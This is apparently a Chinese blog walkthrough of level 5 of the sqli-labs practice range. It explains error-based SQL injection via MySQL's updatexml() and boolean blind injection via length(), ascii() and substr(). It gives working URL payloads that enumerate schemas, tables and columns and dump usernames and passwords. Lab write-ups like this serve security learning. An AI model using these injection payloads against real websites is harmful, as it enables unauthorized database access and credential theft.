web——sqliabs靶场——第五关——报错注入和布尔盲注

这一关开始上强度了,不回显东西了,又要学到新的东西了

发现它没有正确的回显,学到了新知识,报错注入

报错注入

什么是报错注入:

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

复制代码
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:?id=1' and updatexml(1, 0x7e, 3) -- a

提示:0x7e 等价于 ~

参数2包含特殊符号 ~,触发数据库报错,并将参数2的内容显示在报错信息中。

如果我们在参数2的位置,将查询语句和特殊符号拼接在一起,就可以将查询结果显示在报错信息中,在地址栏中输入:

复制代码
?id=1' and updatexml(1, concat(0x7e,version()), 3) -- a

就会爆出相关的信息

开始做题

方法一:使用报错注入

1.判断注入点

存在sql注入

2.判断注入的类型

单引号导致,页面显示数据库的报错信息,确定注入点为单引号字符型

3.判断注入函数是否可以使用

地址栏输入:

?id=0′ and updatexml(1,0x7e,3) --+

存在报错注入

4.爆数据库名:

复制代码
?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

或者用别的函数,介绍SUBSTR() 函数

SUBSTR()SUBSTRING() 是 SQL 中用来提取字符串一部分的函数。不同的数据库系统可能对这些函数的支持略有不同,但是基本用法是相似的。以下是 SUBSTR() 函数的一些常见用法:

基本语法

复制代码
SUBSTR(string, start, length)
  • string:要提取子字符串的源字符串。
  • start:开始提取的位置(从1开始计数)。
  • length:要提取的子字符串的长度。

示例

假设我们有一个字符串 Hello World,我们想提取不同的部分:

  1. 提取从第8个字符开始的4个字符:

    SELECT SUBSTR('Hello World', 8, 4);

这将返回 World

在网页上输入

?id=1' and updatexml(1,substr(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),34,31),3) -- a

5.爆表名

复制代码
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+

6.爆字段名

复制代码
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+

7.爆详细信息

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'@@@',password)) from users),1,37),0x7e),1) --+

结束

方法二: 使用布尔盲注

一、适用环境

页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。

二、盲注步骤

布尔盲注使用时分为两个步骤:

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么

  1. 长度判断原理

判断数据库的长度

?id=1' and length( database() )>1 -- a

页面异常(空)显示,表示猜解长度有误;

页面正常显示,表示猜解长度正确;

判断库名为8

文末使用脚本自动化判断

2.枚举字符

  1. 穷举字符原理

查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。

推荐文章:ASCLL编码详解,ASCLL编码对照表

使用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34......126。

页面异常(空)显示,表示猜解失误;

原文链接:https://blog.csdn.net/wangyuxiang946/article/details/123486880

?id=1' and ascii( substr( (select group_concat(schema_name) from information_schema.schemata) ,1,1) ) >1 -- a

可以使用脚本来做

相关推荐
小小小小宇2 小时前
前端并发控制管理
前端
小小小小宇2 小时前
前端SSE笔记
前端
小小小小宇2 小时前
前端 WebSocket 笔记
前端
小小小小宇3 小时前
前端visibilitychange事件
前端
小小小小宇4 小时前
前端Loader笔记
前端
烛阴5 小时前
从0到1掌握盒子模型:精准控制网页布局的秘诀
前端·javascript·css
前端工作日常8 小时前
我理解的`npm pack` 和 `npm install <local-path>`
前端
李剑一8 小时前
说个多年老前端都不知道的标签正确玩法——q标签
前端
嘉小华8 小时前
大白话讲解 Android屏幕适配相关概念(dp、px 和 dpi)
前端
姑苏洛言8 小时前
在开发跑腿小程序集成地图时,遇到的坑,MapContext.includePoints(Object object)接口无效在组件中使用无效?
前端